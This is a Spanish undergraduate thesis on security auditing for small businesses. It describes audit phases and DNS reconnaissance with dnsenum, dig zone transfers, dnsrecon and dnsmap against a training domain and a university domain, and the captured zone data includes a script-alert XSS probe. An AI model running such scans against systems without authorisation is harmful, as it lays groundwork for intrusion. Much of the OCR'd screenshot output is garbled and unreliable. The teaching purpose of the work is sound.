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- Auditoria de sistemas informaticos orientada a PYMEs.

RESUMEN

Hoy en dia, practicamente la totalidad de las PYMEs tienen presencia online y muchas
de ellas disponen de perfiles en diferentes redes sociales. En la mayoria de casos estas
organizaciones cuentan con sistemas informaticos encargados de la gestidn de sus activos.
Del mismo modo es muy comuin que exista un gran desconocimiento en materia de
Ciberseguridad por parte de la empresa, lo que puede dar lugar a situaciones criticas en las
que un atacante, aprovechando una vulnerabilidad del sistema, pueda poner en riesgo
informacién sensible de la empresa, provocando por tanto, a una potencial situacién
catastrofica para la misma.

Resulta totalmente necesario en los tiempos que corren para este tipo de empresas,
establecer una serie de politicas de seguridad informdtica, en base a las cuales actuar bajo
un situacion de crisis, asi como contar con los servicios de personal debidamente
cualificado en materia de Ciberseguridad, ya sea perteneciente a la plantilla de empleados
de la propia compafiia o subcontratando los servicios de otra especializada en el sector.

Consecuentemente, el papel del auditor es fundamental para las PYMEs, ofreciendo la
posibilidad de realizar un completo analisis del estado de seguridad actual de todos los
activos informaticos de la organizacion y pudiendo ademads generar informes en los que se
recojan todas las vulnerabilidades encontradas en el sistema, gravedad y solucidn de cada
una de ellas.

Alfonso Recio Barroso. Grado en Ingenieria Informatica en Ingenieria del Software. 1



- Auditoria de sistemas informaticos orientada a PYMEs.

1. INTRODUCCION

El ambito de la informatica y en concreto el de la Ciberseguridad se encuentra en
constante cambio, por lo que cada dia se descubren nuevos fallos de seguridad capaces de
comprometer en mayor o menor medida los distintos sistemas informaticos.

Debido a la informatizacion de la mayoria de los activos de las organizaciones para
realizar las distintas tareas que se lleven a cabo dentro de ellas de una manera mas
eficiente y a la gran cantidad de informacién que se encuentra disponible en la red, se hace
imprescindible el conocimiento en materia de Ciberseguridad como medida de prevencidn
y proteccion ante un posible ataque malicioso.

En la actualidad las pymes ocupan aproximadamente a diez millones de trabajadores en
Espafia y suponen mas del 60% del PIB, por lo que se puede deducir que juegan un papel
muy importante en la economia del pais. El problema de las pymes reside en la falta de
concienciacion en materia de seguridad informatica, aunque esta falta de concienciacidn no
se justifique con los datos, pues el 70% de los ataques informaticos registrados en 2016
iban destinados a las pymes.

El principal argumento de las pymes para justificar la falta de inversién en seguridad
informatica es la creencia de que los ciberdelincuentes prefieren a las empresas grandes
por ser poseedoras de informacién mas valiosa, aunque esta creencia no se contrasta con
los datos y propicia la indefension de las pymes, ejemplo de ello son los ataques masivos de
ransomware de 2017 que paralizaron a todo tipo de empresas en todo el mundo sin hacer
distincién por el tamafio o impacto de las mismas. El principal objetivo del atacante sera
qgue el ciberataque se expanda afectando al mayor nimero de maquinas vulnerables
posible, siendo las pymes el eslabén mds débil a la hora de afrontar un ataque informatico.
Se puede deducir por tanto que este tipo de companiias son las mas expuestas a ataques
informdticos como “WannaCry”, puesto que se trata de las organizaciones que menos
invierten en seguridad informdtica.

La persona especializada en Ciberseguridad y encargada de aplicar sus conocimientos
para determinar el grado de seguridad en los sistemas informaticos de los que dispone la
organizacion es el Auditor, que puede ser un integrante mas de la plantilla de la empresa o
una persona ajena a ésta a la que se contrata con el fin de realizar una auditoria.

En este Trabajo de Fin de Grado se detallara la metodologia a seguir por parte de un
auditor para realizar una correcta auditoria de seguridad dirigida a la PYME. Ademas de la
metodologia se realizard un analisis de las diferentes técnicas y herramientas que tendra
disponible un auditor para determinar los posibles fallos de seguridad que afectan una
PYME en concreto y las posibles soluciones a estos. Para cada técnica que se vea a
continuacién se expondran una serie de herramientas con las que se podra llevar a cabo
profundizando en la que se considere mas adecuada o mdas completa para un caso
concreto.

Alfonso Recio Barroso. Grado en Ingenieria Informatica en Ingenieria del Software. 2



- Auditoria de sistemas informaticos orientada a PYMEs.

2. OBJETIVOS

El objetivo de éste Trabajo de Fin de Grado es llevar a cabo un estudio de las diferentes
herramientas y procedimientos relacionados con la Ciberseguridad que permitan realizar
auditorias de sistemas informaticos orientadas a PYMEs. A partir de éste estudio se
pretende solucionar las posibles exposiciones de los sistemas informaticos de las empresas
y minimizar el impacto de un ataque e eventual, en caso de que no se pudiese evitar.

Como objetivos especificos se encuentran los siguientes:

a) Descubrimiento de los posibles fallos de seguridad.
b) Explotacion de los fallos de seguridad descubiertos.
c) Identificacion de soluciones y generacion de informes.

Este trabajo se centrard en el estudio de las distintas fases del proceso de auditoria
desde la Recogida de Informacidn hasta la Generacion de Informes, dejando en un segundo
plano la fase de Alcance y Términos de la auditoria, pues ésta marcard los limites y
acuerdos de la auditoria, y el interés del presente trabajo se centra en el estudio de los
procesos y herramientas disponibles para un auditor a la hora de realizar una auditoria para
una PYME.

3. ANTECEDENTES / ESTADO DEL ARTE

En la actualidad la realizaciéon de una auditoria informatica se considera una necesidad
constante dentro del mantenimiento de la seguridad de las organizaciones. Esto es debido
al incesante incremento de los servicios que las empresas ofrecen en la red ya sea por abrir
un nuevo modelo de negocio o por expandir y modernizar el modelo de negocio actual.

Ademas, con el fin de confirmar que se aplican correctamente las implementaciones
propuestas como resultado de una auditoria de seguridad, deberdn realizarse auditorias de
forma periddica, de manera que se pueda comprobar que los cambios realizados estan
siendo efectivos o por el contrario no estan aportando una solucién al problema.

Otro factor por el que una pyme debe plantearse la realizacion de una auditoria de
seguridad es la publicacién del Reglamento General de Proteccién de Datos (RGPD), que
obliga a las empresas a establecer una serie de medidas de seguridad para la proteccién de
los datos de los usuarios registrados en su sistema. Aunque dicho reglamento entré en
vigor el 25 de mayo de 2016 no fue hasta el pasado 25 de mayo de 2018 que se hizo
obligatorio su cumplimiento.

Segun indica el nuevo RGDP cualquier ciudadano tiene el derecho a presentar
reclamaciones de forma individual o colectiva si considera que el tratamiento de sus datos
personales vulnera el RGPD. De esta manera una organizacion que no cumpla con el RGPD
podra recibir una sanciéon econdmica por parte de las autoridades, las cuales podran
investigar y corregir las infracciones.

Alfonso Recio Barroso. Grado en Ingenieria Informatica en Ingenieria del Software. 3



- Auditoria de sistemas informaticos orientada a PYMEs.

Una de las principales herramientas para certificar el cumplimiento del nuevo RGPD en
lo que respecta a posibles ataques que pongan en riesgo de cualquier manera los datos que
la empresa almacena de sus propios usuarios es la auditoria informatica, mediante la cual
se verifique, evalle y valore la eficacia de las medidas técnicas y organizativas que se hayan
aplicado para el cumplimiento del reglamento.

Img 1: Fases del RGPD

El proceso de auditoria consiste en el desarrollo de distintas fases que se llevaran a
cabo de manera secuencial y sin posibilidad de alterar el orden de ejecucion de las mismas,
aunque si se puede dar la posibilidad de volver a una fase anterior ya sea por la obtencidn
de un falso positivo o por cualquier otro motivo que nos lleve a reconsiderar una decision
tomada anteriormente. Las fases de las que constard una auditoria seran las siguientes:

Alcancey
términos de Anélisis de Post-
la auditoria vulnerabilidades Explotacidn
[ ) [ ) [ ) [ ) [ ) o
Recogida Explotacidn Generacién
de de Informes
informacion

Alfonso Recio Barroso. Grado en Ingenieria Informatica en Ingenieria del Software. 4



- Auditoria de sistemas informaticos orientada a PYMEs.

3.1 Alcance y términos de la auditoria

Se trata de la primera fase del proceso de auditoria, en la que el auditor y el cliente
llegardan a un acuerdo acerca de los objetivos que se desean alcanzar y ademds se
establecerd el limite hasta donde el auditor podra llegar durante el proceso.

Todo término acordado por parte del auditor y del cliente y toda la informacién
referente a esta fase debera recogerse en un documento firmado por ambas partes que
indique la conformidad de las mismas.

Esta fase resulta de vital importancia en el proceso de auditoria pues la informacién con
la que tratard el auditor sera totalmente confidencial y un mal uso de ésta podria acarrear
graves consecuencias a la empresa auditada.

3.2 Recogida de informacion

Durante esta fase el auditor o equipo de auditores se encargara de obtener la mayor
cantidad de informacidn posible acerca de la organizaciéon que se va a auditar. Para ello se
hard uso de distintas técnicas de Footprinting y Fingerprinting a través del manejo de
diferentes herramientas que automatizaran en mayor o menor media el proceso de
recoleccion de informacion.

Otra posible via de obtencion de datos de manera rapida acerca de la son las Redes
Sociales (RRSS), foros dedicados o a través de la Ingenieria Social a los propios trabajadores
de la empresa. Esta ultima puede resultar potencialmente critica para la empresa, pues a
través de un empleado, un supuesto Ciberdelincuente podria tener un acceso directo a los
activos de la organizacioén.

Mediante la informacidn recogida en esta fase, el auditor puede hacerse una idea de la
situacidon actual de la empresa, de los posibles fallos de seguridad e incluso de los posibles
vectores de ataque mas efectivos a priori.

3.3 Analisis de vulnerabilidades

Una vez se ha llevado a cabo la Recogida de Informacion, también conocida como
Gathering y se han obtenido la mayor cantidad de datos posibles acerca de la empresa, el
siguiente paso sera organizar y analizar esta informacion. Durante este proceso el auditor
podra deducir los distintos problemas de seguridad de la organizacién, asi como los
posibles vectores de ataque que mejor se adapten a la situacion.

Alfonso Recio Barroso. Grado en Ingenieria Informatica en Ingenieria del Software. 5



- Auditoria de sistemas informaticos orientada a PYMEs.

Una temprana y buena organizacion de los datos obtenidos en la fase anterior resulta
muy recomendable para el auditor, pues le permitira realizar un mejor andlisis de los datos
obtenidos e identificar con mayor rapidez las vias de acceso con mayor probabilidad de
éxito, pudiendo seleccionar asi el plan que mejor se adapte y reduciendo a su vez la
posibilidad de producirse falsos positivos.

3.4 Explotacion

Durante esta fase el auditor, basandose en la informacién recogida y analizada en fases
anteriores ademas de la propia experiencia de éste en el proceso de Explotacion, lanzara
los diferentes vectores de ataque ya identificados como los mas adecuados para cada
situacidn y a través de los cuales pretendera pasar las barreras de seguridad de la empresa
haciéndose asi con el control total o parcial del sistema.

Existe la posibilidad de obtener falsos positivos durante la ejecucién de algunos de los
vectores de ataque ideados anteriormente, ya sea por posibles fallos cometidos en la
recogida de datos o por la interpretacidon errénea de éstos por parte del auditor. Los falsos
positivos pueden producir una importante pérdida de tiempo en la fase de explotacién,
pues es probable se tengan que replantear alguna de las técnicas utilizadas para la fase de
Recogida de Informacion por no resultar la mas adecuada o por la obtencién de
informacién poco veraz.

Los elementos mas utilizados en esta fase para lograr el acceso a un sistema son los
Exploits, que en términos generales son una serie de acciones, cédigos o secuencias de
comando con los que se pretende explotar una vulnerabilidad en un sistema informatico
para producir asi un comportamiento andmalo en el mismo cuyo objetivo resulte
beneficioso para el atacante. En la mayoria de ocasiones los Exploits son programas
escritos en C++, Python o Perl entre otros, que contienen la secuencia de operaciones
concreta con la que poder “explotar’ un fallo de seguridad en un sistema o servicio. A
menudo estos Exploits se ejecutan contra los servicios que la empresa tiene publicos en la
red, lo cuales normalmente se encuentran desactualizados o sin los parches de seguridad
necesarios. Para un Ciberdelincuente ésta es su principal puerta de entrada a la
organizacién, pudiendo de ésta manera ejecutar otra serie de programas maliciosos que
estaran contenidos en el Exploit a modo de Carga Util o Payload.

Resulta de vital importancia para el auditor, a diferencia de para un Ciberdelincuente,
tener certeza en todo momento del comportamiento que tendra el uso de un Exploit en
el sistema que se pretende atacar. Es por esta razén que el auditor no debe automatizar el
proceso de lanzamiento de Exploit mas de lo estrictamente necesario, pues de esta manera
se pierde gran parte del control del proceso y del conocimiento de lo que estd sucediendo
en el sistema objetivo a |la hora de realizar el ataque.
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3.5 Post-Explotacion

Una vez se llega a esta fase se supone que el auditor ya dispone del control de alguno de los
equipos de la organizacién y por lo tanto de su red corporativa. En este momento el
objetivo del auditor sera el de auditar otros equipos conectados a la red de la organizacién,
gue en un primer momento no estaban directamente accesibles, pivotando entre estos con
el fin de lograr acceso al equipo de mayor peso dentro de ésta, incluso ejecutando Exploits
locales con la finalidad de realizar un escalado de privilegios.

Cuantos mas equipos y de mayor peso logre controlar el auditor, mayor sera el riesgo
en el que se encuentran los datos de la organizacion, razon por lo que se trata de una fase
muy importante en el proceso de la auditoria.

Tras la ejecucion de esta fase el auditor tendra certeza empirica de los potenciales
fallos de seguridad que aquejan a la organizacién y de la magnitud de éstos ante un posible
Ciberataque. En base a los resultados obtenidos se generardn los informes donde se
recogeran todos los fallos de seguridad encontrados por el auditor asi como la solucién de
los mismos.

3.6 Generacion de informes

La generacién de informes constituye la Ultima fase en el proceso de la auditoria y en
ella se debe informar al cliente de todas y cada una de las acciones, pruebas y resultados
obtenidos durante el proceso. Para hacer llegar esta informacién al cliente, el auditor
realizard un documento a medida que llevard a cabo durante la auditoria en el cual se
detallaran todas las técnicas y herramientas utilizadas, asi como las vulnerabilidades y
soluciones a éstas encontradas durante el proceso.

Resulta muy importante para el auditor documentar las acciones que realiza en el
momento que las lleva a cabo, en lugar de esperar al Ultimo momento para documentarlas,
debido a que de esta manera se puede perder gran parte de informacién importante para
la solucidn del problema.

La documentacién que el auditor presentara al cliente estda compuesta de dos escritos,
un Informe Técnico y un Informe Ejecutivo. Ambos documentos deberdn contener el
mismo numero de problemas de seguridad y vulnerabilidades, aunque la manera en la que
se redacten sera muy diferente.

El Informe Técnico recoge informaciéon con un importante nivel de detalle y va
destinado a profesionales dentro de la organizacién, los cuales aplicaran las acciones vy
cambios necesarios para solucionar todos y cada uno de los problemas recogidos en el
documento.

El Informe Ejecutivo se redacta de una manera mas sencilla y con un menor nivel de
detalle, de manera que su lectura resulte mas amena y comprensible para personas que no
dispongan de un alto nivel de conocimiento informatico, aunque como se ha comentado
contendrd el mismo nimero de vulnerabilidades descritas que el Informe Técnico. Este
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informe va enfocado a los directivos y altos ejecutivos de la organizacién, que no tienen por
qué poseer conocimientos técnicos acerca de seguridad informatica.

4. METODOLOGIA

En este apartado se detallard el estudio llevado a cabo de las diferentes fases y
herramientas de Ciberseguridad utilizadas para el proceso de la Auditoria Informatica. De la
misma manera se realizard una introduccién al entorno en el que se ha desarrollado el
estudio, herramientas de apoyo utilizadas y material necesario para poder llevar a cabo el
proceso de la auditoria.

4.1 Herramientas Necesarias

La gran mayoria de las pruebas realizadas durante el desarrollo de éste Trabajo de Fin
de Grado han sido llevadas a cabo sobre un Entorno Virtualizado, un Sistema Operativo
huésped funcionando sobre el Sistema Operativo anfitrién instalado de forma nativa en el
equipo. Para poder utilizar un Entorno Virtualizado serd necesario instalar una aplicacién
gue nos ofrezca ésta funcionalidad. Entre las aplicaciones de virtualizacion mas utilizadas y
gratuitas para un uso no comercial se encuentran VirtualBox y VM-Ware, ambas
disponibles para los principales Sistemas Operativos.

Este tipo de entornos facilitan en gran medida la labor de auditor, pues le permite
disponer varios sistemas donde realizar pruebas simultdneamente en el mismo equipo. De
esta manera se ahorra considerablemente en tiempo y en recursos.

El hecho de poder disponer de mas de un Sistema Operativo funcionando
simultdneamente en el mismo equipo no es el Unico beneficio que un auditor puede
obtener de éste tipo de herramientas. Otro gran beneficio de disponer de un entorno
virtualizado es la capacidad de replicar el sistema que pretende auditar de manera casi
inmediata y asi poder realizar pruebas sobre dicho entorno de manera totalmente segura e
identificar los vectores de ataque que mejor se adapten al entorno sin interactuar
directamente con la empresa.

4.1.1 Introduccion a Kali Linux

Kali Linux es una plataforma basada en GNU/Linux Debian que contiene una gran
cantidad de herramientas para capturar informacién, identificar vulnerabilidades,
explotarlas, escalar privilegios y cubrir las huellas entre otras.
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PUARE ORI

“the quieter you become, the more you aré able to-hear”.

Img 2: Kali Linux

En la actualidad el entorno que ofrece Kali Linux es utilizado por la gran mayoria de
profesionales dedicados a la Ciberseguridad debido a la gran cantidad de herramientas de
las que dispone y su facilidad de instalacion y configuracién. Aunque es por estas mismas
razones por las que este entorno es utilizado con mucha frecuencia por Ciberdelincuentes a
los cuales también les facilita en gran medida el poder llevara a cabo acciones éticamente
reprobables e/o ilegales.

Otra de las razones por la que Kali Linux es tan utilizado en todos los campos
relacionados con la Ciberseguridad es la gran comunidad de la que dispone, resultando
bastante sencillo encontrar soluciones a la inmensa mayoria de los problemas que te
puedas encontrar durante su utilizacion.

4.1.2 Metasploitable

Metasploitable es un Sistema Operativo Linux ligero que fue disefiado
intencionadamente inseguro con el fin de poder hacer todo tipo de pruebas de
Ciberseguridad sobre él y no poner asi en riesgo sistemas reales.

Esta herramienta dispone de una interfaz simple en linea de comando mediante la cual
se podran configurar los diferentes parametros especificos para llevar a cabo todo tipo de
pruebas. Para la ejecucidn de éste entorno de pruebas se utiliza cominmente una Maquina
Virtual, que aporta otra capa de seguridad y facilita al auditor la realizacion de las pruebas
necesarias sobre un solo equipo.

4.1.3 Materiales

Para llevar a cabo el proceso de la auditoria son necesarios una serie de materiales que
facilitan la tarea del auditor y en ocasiones son practicamente imprescindibles.

Materiales fisicos:

e Ordenador Portatil o Sobremesa con el que se llevaran a cabo las pruebas
disefiadas por el auditor.
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e Ordenador Portatil o Sobremesa auxiliar debidamente configurado sobre el
que se probaran las diferentes pruebas disefiadas. Este sistema podra ser
emulado por un entorno virtualizado.

Materiales software:

e Sistema Operativo debidamente configurado con el cual se disefiaran y se
ejecutardn las diferentes pruebas y fases del proceso de la auditoria.

e Software de Virtualizacion mediante el cual se crearan las diferentes maquinas
virtuales complementarias a la auditoria (En caso de ser necesario).

Para el proceso de auditoria que desarrollado en este Trabajo de Fin de Grado se ha
hecho uso de los siguientes materiales:

e Ordenador Portatil Dell Inspiron 7000 con Sistema Operativo Windows 10.
e Software de virtualizacién VM-Ware o VirtualBox.

e MadAquina Virtual Kali Linux.

e MadAquina Virtual Metasploitable.

4.2 Recogida de informacion

Esta fase es conocida en el mundo de la seguridad informéatica como Gathering o
Information Gathering. La cantidad y calidad de la informacién que se consiga obtener
durante este periodo influira directamente en la probabilidad del éxito de los futuros
vectores de ataque.

El proceso de recogida de informacién generalmente se divide en dos fases. La primera
de ellas es el Footprinting Externo que se llevard a cabo desde fuera de la organizacion. La
segunda, el Footprinting Interno se lleva a cabo una vez se tiene acceso a la red interna de
la organizacion, es decir, durante el proceso de Post-Explotacion.

Para realizar una correcta recogida de informacién hay que tener en consideracién una
serie de actividades que se pueden resumir en las siguientes:

e Recopilacion de informacion general.

e Determinacion de rangos de red.

e Identificacion de maquinas activas.

e Puertos abiertos y puntos de acceso.

e Fingerprinting de los diferentes Sistemas Operativos.

e Fingerprinting de los diferentes servicios (Versiones, Banners y actualizaciones).
e Mapeo y topologia de la red interna.
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4.2.1 Footprinting Externo

Este tipo de recogida de informacién se encuentra dividido a su vez en dos
subcategorias en base a su grado de agresividad. En primer lugar, el “Footprinting Activo”
gue interactua directamente con la infraestructura de la organizacion. En segundo lugar, el
“Footprinting Pasivo” que no interactla directamente con la organizacidn, sino que recurre
a informacion que se pueda encontrar indexada en los distintos motores de busqueda,
bases de datos, foros, etcétera.

Footprinting Activo

A continuacidn se detallardn una serie de técnicas y herramientas referentes a éste
tipo de Footprinting.

Descubrimiento DNS

Un servidor DNS (Domain Name System) es un sistema que traduce nombres de
dominio a direcciones IPs y viceversa. En las redes TCP/IP, cada equipo dispone de una
direccion IP para poder comunicarse con el resto de equipos.

Trabajar con direcciones IP es incobmodo para las personas, ya que requeriria conocer
en todo momento las direcciones IP de los equipos a los que queremos conectarnos. En su
lugar se utilizan los nombres de dominio que resultan mas faciles de recordar y utilizar.

En base a lo comentado se puede llegar a la conclusién de que el andlisis del servicio
DNS resulta fundamental durante el proceso de Gathering, gracias al cual se puede obtener
un primer mapa de la estructura de la red interna de la organizacién ademas de gran
cantidad de informacidn valiosa.

A continuacion se muestran distintas técnicas de recogida de informacion a través de
los servidores DNS asi como algunas herramientas que nos permitan llevar a cabo esta
labor.

e Transferencia de zona

La transferencia de zona es un proceso por el cual un servidor DNS principal copia el
contenido de su archivo de zona a un servidor DNS secundario. Una transferencia de zona
siempre es iniciada por el servidor secundario.

Ante un funcionamiento correcto del servidor DNS principal, éste filtrara las direcciones
IP de los servidores secundarios que pueden solicitar una transferencia de zona. En los
casos en los que el servidor principal no se encuentra correctamente configurado es posible
obtener todas las zonas de los dominios que administra el DNS.
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Una de las herramientas disponibles en Kali que nos permiten realizar este
procedimiento de una manera sencilla es dnsenum. Esta herramienta ejecutard de manera
automatizada un escaneo sobre el sitio web en busca de posibles servidores con la
transferencia de zona activa y realizando el volcado de informacion si la busqueda es
satisfactoria. EI comando utilizado para comprobar la transferencia de zona con ésta
herramienta es el siguiente:

“dnsenum <nombre_dominio>"

:~# dnsenum zonetransfer.me
Smartmatch is experimental at fusr/sbin/sdnsenum line &
Smartmatch 15 ex imental at susr/bin/dnsenum Line
dnsenum VERSION:1.2.4

zonetransfer.me, [ 217.147.177.

nsztmZ.digi.ninja. ! 52.91.28
nsztml.digi.ninja. I 81.4.188.41

ASPMX4 . GOOGLEMAIL.COM.

ASPMX.L.GO0OGLE . COM. 8 A 173.194.76.26
ASPMXS . GOOGLEMATIL . COM & 74.125.195.27
ASPMXZ . GOOGLEMAIL . COM. : 64 3.164.2

27
]

ALTL.ASPMX.L.GOOGLE.COM, A 64.233.164.2

Img 3: Ejemplo DNSENUM. 1

Alfonso Recio Barroso. Grado en Ingenieria Informatica en Ingenieria del Software. 1 2



- Auditoria de sistemas informaticos orientada a PYMEs.

Como se puede observar la herramienta detecta que la transferencia de zona se

encuentra activa y realiza el volcado de los datos de manera automatica.

7200
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301
7200
7200
7200
7200
7200
7200
7200
7200
7200
7200
14000
185.196.5.IN-ADDR.ARPA. zonetransfer.me. 7200
asfdbauthdns. e 7900
7200
7800
7200
300
2592000
7200
7201
300
7200

7200
7200
7200
300
300
300
300
7200

r.me. 7200
1l.test.zonetransfer.me
301

IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN

IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN

SOA
HINFO
TXT
MX

MX

MX

MX

MX

MX

MX

AFSDB
A
AFSDB
A

TXT
TXT

A
ARAA
LocC
TXT
NAPTR

ARAA

A

TXT

RP
NAPTR
TXT

TXT
CNAME
IN A
CNAME

Img 4: Ejemplo DNSENUM. 2

20

20

20

20

5.196.105.14

nsztml.digi.ninja.
nsztm2.digi.ninja.

[¢]

www.zonetransfer.me.
1
127.0.0.1

74.125.206.26
127.0.0.1

.Zone
108.41
167.88.42.94
4.23.39.254
2001:67c::

"()
www . sydneyoperahouse. com.
127.0.0.1
www.zonetransfer.me.
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300 HINFO "Casio

301 TXT (

7200 MX 0]

7200 MX 10

7200 MX 10

7200 MX 20

7200 MX 20

7200 MX 20

7200 MX 20

7200 A

7200 NS tml.digi.ninja.

e me. 7200 NS tm2.digi.ninja.
_sip._tcp.zonetransfer.me. 14000 SRV 2]
157.177.147.217.IN-ADDR.ARPA. zonetransfer.me. 7200 IN PTR
asTdbauthdn 0 r.me. 7900 AFSDB
asfdbbox.zo .me. 7200 A
asTdbvolum 7800 AFSDB
canberra-offic . 7200 A
ne € 300 TXT

2592000 TXT

7200 A 43.228

7201 AAAA ead:b

300

7200 AbCdETG

2222 {

1.132

.1
yeaf::
]

7200 74.125.206.26
7200 127.0.0.1
7200 ) (
300 intnsl.zonetransfer.me
internal. a . 300 intns:
intnsl.zon r.me. 300 81.4.108.41
intns2.zon s .me. 300 52.91.28.78
offi n ne . 7200 4.23.39.254
ipvBactnow. . ; sfer.me. 7200 2001:67c:2e8:11::c100:1332
287 .197.32
"Robin
{
{
"()
CNAME www . sydneyoperahouse.com.
all.test.zonetransfer.me. IN A 127.0.0.1
testing.zonetransfer.me. 301 CNAME www.zonetranster.me.
zonetransft ne 4000 174.36.59.154
.zonetransfer.me 7200 217.147.177.157
.zonetransfer.me. 300 '=<script=alert\('Boo'\)</script>

W~
[>T V]
M@

@

=W W w

brute force file not specifi

Img 5: Ejemplo DNSENUM. 3
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Otra herramienta disponible en Kali para comprobar que un DNS tenga la transferencia
de zona activa es DIG. Para comprobar el nombre de los DNS de un dominio se utilizara el
siguiente comando:

“dig NS <nombre_dominio>"
:~# dig NS zonetransfer.me

<<=> DiG 9.11.4-P2-3-Debian ==<>= NS zonetransfer.me

global options: +cmd

Got answer:

->>HEADER=<<- opcode: QUERY, status: NOERROR, id: 52680

flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: @, ADDITIONAL:

OPT PSEUDOSECTION:
EDNS: version: @, flags:; udp: 512
:» OQUESTION SECTION:
;zonetransfer.me. IN

;» AMNSWER SECTION:
zonetransfer.me. ‘ ml.digi.ninja.
zonetransfer.me. K m2.digi.ninja.

;; ADDITIOMAL SECTIONM:
nsztmz2.digi.ninja. 10374
1sztml.digi.ninja. 10403

Query time: 38 msec
SERVER: 192.168.1.1#53(192.168.1.1)
WHEN: lun oct 15 14:03:087 EDT 2018
MS5G SIZE rcvd: 128

Img 6: Ejemplo DIG

Una vez se ejecute el comando se mostrard una lista con los servidores DNS del
dominio indicado. Para comprobar si tiene la transferencia de zona activada se debe utilizar
la opcion “AXFR” de la misma herramienta, resultando el siguiente comando:

“dig AXFR <nombre_dominio> @< nombre_servidor_dns>"
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:~# dig AXFR zc

; <<>> DiG 9.11.4-P2-3-Debian <<>>
al options: +cmd
tran r
zonetransfer

7200
300

301

7200
7200
7200
7200
7200

IN
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IN
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tran r
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Q

7
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S chang
7200
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300
7200

IN

Inf il
rojects/zo
internal

.php for
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300
300
300
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mo

72
IN
IN

ipvéactnow.
etransfer.me
d.z tran

me. 7200

vall.test.zone

7200
7200
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sip._tcp.zonetransfer
157.177.147.217 .IN-ADD
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.me. 7
p
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.php for mo
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ne
IN
IN
IN
IN
IN

1.28

EDT 2
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N TXT
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AAAA
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N TXT
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20 ASPMX2.GOOGLEMAIL.COM
20 ASPMX3.GOOGLEMAIL.COM.
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me.
nsfer.me.
108.41
1.28.78
4.23.39.254
1::c100:1332

PMX3.GOOGLEMAIL.COM.
SPMX4.GOOGLEMATL .COM.
SPMX5.GOOGLEMAIL . COM.
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sztml.digi.ninja.
nsztm2.digi.ninja.
® 0 506
@0 IN PT
1 asfdbb
127.0.0

202.14.8
w. gt
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Img 8: Ejemplo transferencia de zona activa. 2

robin@digi.ninja.

://digi.ninja/p

900 1209600 3600
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e Resolucién inversa

Mientras que la resolucién DNS tipica es traducir un nombre a una direccion IP, la
denominada resolucién inversa realiza la traduccion de una direccidn IP a un nombre.

En la jerarquia de DNS la parte mds especifica se encuentra a la izquierda mientras que
la parte de la derecha es considerada la menos especifica. Al contrario que en la jerarquia
de DNS, en las direcciones IP la parte mds especifica queda mds a la derecha y la menos
especifica a la izquierda.

Para la resolucién inversa fueron creados unos nombres de dominio especiales:

e in-addr.arpa: para direcciones IPv4.
e Ip6.arpa: para direcciones IPv6.

Todo esto implica que para realizar una resolucion inversa se debe llevar a cabo una
operacion que invierta cada parte de la direccion IP y luego afiada el nombre de dominio
reservado en funcién del tipo de direccién IP. De modo que si quisiéramos buscar la IP
“1.2.3.4” buscariamos “4.3.2.1.in-addr.arpa”.

Para realizar la resolucidn inversa de un rango de direcciones IPs se utilizard la
herramienta escrita en Python “Dnsrecon”. El comando empleado para realizar la
resolucidn inversa de un rango de direcciones IPs es el siguiente:

“python dnsrecon.py —r <Direccion_IP_1>-<Direccion_IP_N>"

are/dnsrecon# python dnsrecon.py -r 5.196.105.5-5.196.105.20
a Range
0 erse Lookup from 5.196.1085.5 to 5.196.105.20
PTR ipl6.ip-5-196-105.eu 5.196.105.16

PTR ipl9.ip-5-196-105.eu 5.196.105.19
PTR ipl7.ip-5-196-105.eu 5.196.105.17
PTR 1p18.ip-5-196-105.eu 5.196.185.18

Img 9: Ejemplo de uso de DNSRECON.PY

e Resolucidn por fuerza bruta y diccionario

Este proceso consiste en la utilizacién de un diccionario generado previamente para
intentar descubrir mediante fuerza bruta los nombres de subdominios bajo el dominio
principal de la organizacion.

Entre todas las herramientas que contiene Kali con posibilidad de llevar a cabo esta
labor destacamos “DNSMAP”. Esta herramienta dispone de un diccionario integrado con
los nombres de subdominios mas comunes, por lo que si no se les indica un diccionario
externo utilizaran el suyo propio.
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Las pruebas de resolucion DNS mediante diccionario se llevardn a cabo sobre el
dominio “unex.es” haciendo uso de un pequefo diccionario creado a mano con el fin de
poder realizar un prueba rapida. El diccionario que se utilizard serd el siguiente:

GNU nano 3.1 diccionario.txt

biblioteca
culturaciencia
biblioguias
eventos

dtif

relatec

[ 68 lineas leidas ]
Guardar Buscar W Cortar txtgl] Justificargd Posicion
Leer fich.g Reemplazar Ortografial

Img 10: Diccionario para resolucion DNS
Para realizar la resolucién DNS con la herramienta dnsmap se empleara:

“dnsmap <Dominio> -W <Diccionario>"

:~# dnsmap unex.es -W diccionario.txt
dnsmap ©.30 - DNS Metwork Mapper by pagvac (gnucitizen.org)

rching (sub)domains for unex.es using built-in wordlist

[+] sea
sing

[+] u

ad.
8.49.9.70

.un
add

.unex.es
address #1:

Img 11: Ejemplo de uso de DNSMAP con diccionario. 1
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IP addre

Wwwl.u
IP add

WiWw2 . U
IP add

3.49.96.23

[+] 28 (sub)domains and 28 IP address(es) found
[+] completion time: 139 second(s)

Img 12: Ejemplo de uso de DNSMAP con diccionario. 2

e Herramientas automatizadas para el analisis DNS

Existen una serie de herramientas que agrupan las funcionalidades mas importantes
acerca del descubrimiento DNS. El uso de estas herramientas puede provocar una pérdida
de control en el proceso de recogida de informacion por parte del Auditor, aunque por otra
parte es muy comun que la cantidad de objetos que haya que analizar sea tan grande que
se volveria extremadamente largo y tedioso realizar todos los pasos a mano. Por esta razén
el Auditor tendra que sopesar, dependiendo de la situacidn, que alternativa le resulta mas
adecuada.

Entre la multitud de herramientas existentes con el mismo propdsito destacaremos
dos: DNSMAP y FIERCE. Ambas ofrecen gran cantidad de informacién util y su utilizacion es
realmente sencilla. Como se ha visto anteriormente la herramienta DNSMAP ha sido
empleada para la resolucién por fuerza bruta con diccionario, aunque en esta ocasidn se
utilizara al igual que FIERCE para un analisis general.
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En el caso de DNSMAP el comando empleado sera el siguiente:

“dnsmap <Dominio>"

: p zo ransfer.me
- DNS Nrtwnlk Mapper by pagvac (gnucitizen.org)

2. me
74 125.206.26

home.zonetransfer.me
IP address #1: 127.0.0.1
[+] warning: domain might be wulnerable to "same site" scripting (http://snipurl.com/etbcv)

staging.z

IPv6 addr

IPv6 addr

IPv6 addr

IPv6 addr

IPv6 addr

